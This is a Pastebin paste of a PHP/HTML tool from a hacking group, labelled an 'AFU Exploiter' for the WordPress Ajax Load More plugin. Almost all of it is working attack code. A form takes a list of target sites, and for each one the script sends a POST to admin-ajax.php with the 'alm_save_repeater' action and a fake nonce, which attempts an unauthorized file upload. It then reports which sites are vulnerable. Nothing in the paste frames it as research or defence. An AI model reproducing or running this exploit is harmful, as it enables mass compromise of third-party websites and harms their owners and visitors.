Advertisement
CYBERSERKERS

Ajax Load More AFU Exploiter

Nov 17th, 2015
173
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.46 KB | None | 0 0
  1. <meta content="XPLOITER BY AZZATSSINS CYBERSERKERS OF PSYCHOPATH" name="description" />
  2. <title>!!!- AFU | WordPress Ajax Load More | AZZATSSINS | BN-IDBTE4M -!!!</title>
  3. <body style='color: #000000;background:url(http://azzat.wap.mu/files/1049320/IMG_20150725_103425.JPG) repeat scroll center top;background-attachment: fixed;SCROLLBAR-FACE-COLOR: #F1F1F1; MARGIN: 0px;SCROLLBAR-HIGHLIGHT-COLOR: #ffffff; OVERFLOW: auto;'>
  4. <center>
  5. <form method="POST">
  6. <input style="margin:1px;padding:3px;max-width:90%;font-size:12px;background:#fff;width:60%;color:#333;border-radius:5px;border:3px solid #ddd;text-align:center" value="" type="text" name="azzatssins"/><input style="background:dodgerblue;margin:1px;width:15%;padding:6px;color:#fff;border:0;font-weight:bold;" type="submit"
  7. value="EXECUTE" /><br>
  8. <input name="file" type="file" />
  9. </form>
  10. </center>
  11. <?php
  12. /** AZZATSSINS **/
  13.  
  14. /******************************************
  15. azzatssinscyberserkers@gmail.com
  16. ******************************************/
  17.  
  18.  
  19. function hajar($yuerel, $dataAing=null) {
  20.     $cuih = curl_init();
  21.     curl_setopt($cuih, CURLOPT_URL, $yuerel);
  22.     if ($dataAing != null){
  23.         curl_setopt($cuih, CURLOPT_POST, true);
  24.         curl_setopt($cuih, CURLOPT_POSTFIELDS, $dataAing);
  25.     }
  26.     curl_setopt($cuih, CURLOPT_FOLLOWLOCATION, true);
  27.     curl_setopt($cuih, CURLOPT_RETURNTRANSFER, true);
  28.     curl_setopt($cuih, CURLOPT_SSL_VERIFYPEER, false);
  29.     $eks = curl_exec($cuih);
  30.     curl_close($cuih);
  31.     return $eks;
  32. }
  33.  
  34. $site =  $_POST['azzatssins'];
  35. $cafc = $_POST['file'];
  36. $idbte4m = explode("\r\n", $site);
  37. if (!isset($site)) {
  38. } else {
  39.     foreach ($idbte4m as $uri) {
  40.         echo "<br>\n<center>****** <a href=azzatssinscyberserkers@gmail.com>AZZATSSINS</a> ******</center>";
  41.         echo "<br>\nTarget => " . $uri;
  42.         echo "\n";
  43.         $azzatssinscyberserkers = hajar($uri . "/wp-admin/admin-ajax.php", array(
  44.             "action" => "alm_save_repeater",
  45.             "repeater" => "default",
  46.             "type" => "default",
  47.             "alias" => $cafc,
  48.            "nonce" => "nonce")
  49.         );
  50.         $jason = json_decode($azzatssinscyberserkers, true);
  51.         if ($jason['success'] == false || $jason['message'] == "Wrong request") {
  52.             echo "<br>\n[AFU] => <font color=red>NOT VULNERABLE</font>";
  53.         } else {
  54.             echo "<br>\n[AFU] => <font color=lime>SUCCESS</font>";
  55.             echo "\n[+] MANTEP VROH....!!!\n";
  56. }}}
  57. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement